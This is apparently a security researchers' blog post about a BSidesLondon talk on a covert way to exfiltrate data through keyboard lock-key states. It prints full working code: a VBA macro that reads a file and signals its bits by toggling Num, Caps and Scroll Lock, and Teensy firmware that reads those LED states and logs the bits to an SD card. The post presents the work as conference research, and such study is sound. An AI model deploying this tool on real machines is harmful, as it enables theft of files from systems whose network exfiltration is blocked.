For those that can’t be bothered to read this post and just want the code, please see here.

So myself and Rich Hicks finally got around to talking about the work we had done with the Teensy. An ATMega, USB-based Microcontroller sold by pjrc.com

I started work on this back in 2011 but didn’t take it any further until Rich came on board towards the end of 2011. We got some sample proof of concept code working but didn’t do anything further with it.

We then heard that at BSidesLondon 2013 they were starting a Rookie Track. For those that don’t know this was an opportunity for people who had never gave any talks before a chance to get up in front of a small crowd and test their bravery! Here are our slides.

Here’s is a Demo of the attack in action.

What our talk was about is using the teensy to capture the state of the keyboard lock states such as the Caps, Scroll and Num locks. The ability to capture these states allows the ability to export data by toggling these states.

We used a Visual Basic for applications to export a binary stream using the keyboard states.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Sub keybd_event Lib "user32.dll" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Dim numStateVar As Integer

Sub ExportData()
' Note: The entire file will be read into memory, so if its massive, you're gonna use loads of memory
'
Dim sFileName As String
Dim iFileNum As Double
sFileName = "C:\test.txt" 'This is the text file we are going to export
Dim btAR() As Byte
Dim i As Long
Dim Str As String
Dim toSendLength As Integer
Dim PosInSendString As Integer
Dim endCount As Integer
Let PosInSendString = 1
Let endCount = 0

iFileNum = FreeFile

ReDim btAR(1 To FileLen(sFileName))

Open sFileName For Binary Access Read As #iFileNum
Get #iFileNum, 1, btAR()
Close iFileNum

Debug.Print "###### Start ######"
Debug.Print "Characters: " & FileLen(sFileName)
Call AllOff
Call ScrollOn_Click
Sleep (1000)
Call ScrollOn_Click
Sleep (1000)
Call ScrollOn_Click
Sleep (50)
Call AllOff
Sleep (1000)
Call CapsOn_Click

For Each tByte In btAR
    toSendHex = Hex(tByte) 'Clear current status of togglekeys
    If (Hex(tByte) = 0) Then
        toSendHex = "00" ' Hack to get around limitations of unquoted strings in VB. 00 gets shortened to 0 and corrupts files.
    End If
   
    toSendLength = Len(h2b(toSendHex))
   
    Debug.Print "Len:"; toSendLength; "BYTE:"; tByte; "Hex:"; Hex(tByte); " SendHex:"; toSendHex; " Bin:"; h2b(Hex(tByte)); " SendBin:"; h2b(toSendHex)
   
    Do Until PosInSendString = toSendLength + 1
        If CapsLockOn = True Then 'PC has control
            Sleep (150)
            char_val = Mid(h2b(toSendHex), PosInSendString, 1) ' Convert to binary.
            If char_val = "0" Then
                Call NumOff_Click ' send 0
            ElseIf char_val = "1" Then
                Call NumOn_Click  ' send 1
            Else
                Debug.Print "Something Broke Here"
            End If
            Let PosInSendString = PosInSendString + 1 ' add 1 to value of PosInSendString
            Call CapsOff_Click ' turn caps lock off - relinquish control
            Call ScrollOn_Click ' turn scroll lock on - give teensy control.
        End If
        DoEvents ' Stops it hanging.
    Loop
    Let PosInSendString = 1
Next

'For Each tByte In btAR
    'toSendHex = Hex(tByte) 'Clear current status of togglekeys
    'If (Hex(tByte) = 0) Then
        toSendHex = "FF" ' Hack to get around limitations of unquoted strings in VB. 00 gets shortened to 0 and corrupts files.
    'End If
    toSendLength = Len(h2b(toSendHex))
   
    Debug.Print "Len:"; toSendLength; "BYTE:"; tByte; "Hex:"; Hex(tByte); " SendHex:"; toSendHex; " Bin:"; h2b(Hex(tByte)); " SendBin:"; h2b(toSendHex)
   
    Do Until PosInSendString = toSendLength + 1
        If CapsLockOn = True Then 'PC has control
            Sleep (150)
            char_val = Mid(h2b(toSendHex), PosInSendString, 1) ' Convert to binary.
            If char_val = "0" Then
                Call NumOff_Click ' send 0
            ElseIf char_val = "1" Then
                Call NumOn_Click  ' send 1
            Else
                Debug.Print "Something Broke Here"
            End If
            Let PosInSendString = PosInSendString + 1 ' add 1 to value of PosInSendString
            Call CapsOff_Click ' turn caps lock off - relinquish control
            Call ScrollOn_Click ' turn scroll lock on - give teensy control.
        End If
        DoEvents ' Stops it hanging.
    Loop
    Let PosInSendString = 1
'Next

' Convert bytes to string
Str = StrConv(btAR, vbUnicode)
Debug.Print "'" & Str & "'"
Debug.Print "###### End ######"
Call AllOff ' set all off
End Sub

Function CapsLockOn() As Boolean
    Dim x As Integer
    x = GetKeyState(&H14)
    CapsLockOn = (x = 1 Or x = -127)
End Function

Function NumLockOn() As Boolean
    Dim x As Integer
    x = GetKeyState(&H90)
    NumLockOn = (x = 1 Or x = -127)
End Function

Function ScrollLockOn() As Boolean
    Dim x As Integer
    x = GetKeyState(&H91)
    ScrollLockOn = (x = 1 Or x = -127)
End Function

Private Sub NumOn_Click()
    If NumLockOn = False Then 'If it's off then turn on, else do nothing
        keybd_event &H90, &H45, &H1 Or 0, 0
        keybd_event &H90, &H45, &H1 Or &H2, 0
    End If
End Sub

Private Sub NumOff_Click()
    If NumLockOn = True Then 'If it's on then turn off, else do nothing
        keybd_event &H90, &H45, &H1 Or 0, 0
        keybd_event &H90, &H45, &H1 Or &H2, 0
    End If
End Sub

Private Sub CapsOn_Click()
    If CapsLockOn = False Then 'If it's off then turn on, else do nothing
        keybd_event &H14, &H45, &H1 Or 0, 0
        keybd_event &H14, &H45, &H1 Or &H2, 0
    End If
End Sub

Private Sub CapsOff_Click()
    If CapsLockOn = True Then 'If it's on then turn off, else do nothing
        keybd_event &H14, &H45, &H1 Or 0, 0
        keybd_event &H14, &H45, &H1 Or &H2, 0
    End If
End Sub

Private Sub ScrollOn_Click()
    If ScrollLockOn = False Then 'If it's off then turn on, else do nothing
        keybd_event &H91, &H45, &H1 Or 0, 0
        keybd_event &H91, &H45, &H1 Or &H2, 0
    End If
End Sub

Private Sub ScrollOff_Click()
    If ScrollLockOn = True Then 'If it's on then turn off, else do nothing
        keybd_event &H91, &H45, &H1 Or 0, 0
        keybd_event &H91, &H45, &H1 Or &H2, 0
    End If
End Sub

Function AllOff() As Boolean
    Call NumOff_Click
    Call CapsOff_Click
    Call ScrollOff_Click
End Function

Function h2b(hstr)
'convert hex string to binary string
    cnvarr = Array("0000", "0001", "0010", "0011", _
             "0100", "0101", "0110", "0111", "1000", _
             "1001", "1010", "1011", "1100", "1101", _
             "1110", "1111")
    bstr = ""
    For i = 1 To Len(hstr)
        hdgt = Mid(hstr, i, 1)
        cix = CInt("&H" & hdgt)
        bstr = bstr & cnvarr(cix)
    Next
    h2b = bstr
End Function

and we used the following code on the teensy to capture the data:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
#include <usb_private.h>
#include <usb_keyboard.h>
#include <SD.h>

const int ledPin = 11;
int leds = 0;
int NumValue = 0;
int ScrollValue = 0;
int BeforeCapsValue = 0;
int CurrentCapsValue = 0;
int start_time = 0;
int diff_time = 0;
int end_time = 0;
int varScrl = 0;

//CaptureData Setup
const int chipSelect = 0;
boolean IsNumbOn(int val){
  if ((val & 1) == 1){
    return true;
  }
  else {
    return false;
  }
}
boolean IsCapsOn(int val){
  if ((val & 2) == 2){
    return true;
  }
  else {
    return false;
  }
}
//End of CaptureData Specific Setup

boolean IsScrlOn(int val){
   if (( val & 4) == 4){
     return true;
   } else {
     return false;
   }
}

void setup(){
  for(int i = 0; i < 60; i++){
    digitalWrite(ledPin, HIGH);
    delay(50);
    digitalWrite(ledPin, LOW);
    delay(50);
  }
  Serial.begin(9600);
  // make sure that the default chip select pin is set to
  // output, even if you don't use it:
  pinMode(chipSelect,OUTPUT); //Put this in just in case something is going awry in A1.0

  // see if the card is present and can be initialized:
  if (!SD.begin(chipSelect)) {
    Serial.println("Card failed, or not present");
    // don't do anything more:
    return;
  }
 
  Serial.println("Card Initialised.");
  File dataFile = SD.open("data001.txt", FILE_WRITE);
  if (dataFile) {
    dataFile.print("\n\r NewDataSet");
    Serial.print("\n NewDataSet:");
    dataFile.close();
  } else {
    Serial.print("Setup: error opening datalog.txt\n");
    digitalWrite(ledPin, HIGH);
    delay(99999999);
  }
  Serial.print("End of setup \n");
  delay(500);
}

void loop(){
    start_time = millis();
  Serial.print("start: ");
  Serial.print(start_time);
  Serial.print("\n");
    do{
      leds = keyboard_leds;
  //    Serial.print("in loop\n");
      if (IsScrlOn(leds)){
      Serial.print("detected scroll\n");
        if (varScrl == 0){
           start_time = millis();
        }
        varScrl = varScrl + 1;
        PressAndRelease(KEY_SCROLL_LOCK);
        Serial.print("toggled scroll\n");
      }
      if (varScrl > 0) {
        end_time = millis();
        diff_time = end_time - start_time;
        Serial.print(diff_time);
        Serial.print("\n");
        if (diff_time < 5000){
//              Serial.print("in time loop\n");
          if (varScrl == 3){
            Serial.print("doing naughty stuff\n");
            delay(750);
            CaptureData();
            //do naughty stuff
            Serial.print("Finished");
            return;
            delay(99999);
          }
//        Serial.print("done or not doing naughty stuff\n");
        }
      }
      if (diff_time > 5000) {
        varScrl = 0;
      }
      delay(750);
    } while (varScrl < 4);
            Serial.print("resetting everything, outside of while \n");
    varScrl = 0;
}

void PressAndRelease(int KeyCode){
  Keyboard.set_key1(KeyCode);
  Keyboard.send_now(); // send strokes
  Keyboard.set_key1(0); //Needed to clear the keypress as otherwise the key will remain pressed forever.
  Keyboard.send_now(); // send strokes
}

void CaptureData(){
  do{
    leds = keyboard_leds;
    NumValue = (leds & 1);

    if (IsScrlOn(leds)){ //teensy has control
      File dataFile = SD.open("data001.txt", FILE_WRITE);
      digitalWrite(ledPin,HIGH);
      delay(50);
      dataFile.print(NumValue);
      dataFile.close();
      // print to the serial port too:
      Serial.print(NumValue);
      digitalWrite(ledPin,LOW);
      delay(50);
      //Have read character... so clear control key.
      PressAndRelease(KEY_SCROLL_LOCK);
      delay(500);
      //Hand control back to the macro
      PressAndRelease(KEY_CAPS_LOCK);
    }
  }while(1);
}

And this is how the data flows.
data flow

UPDATE: Finally we’ve managed to get a Picture in Picture put together.

Leave a Reply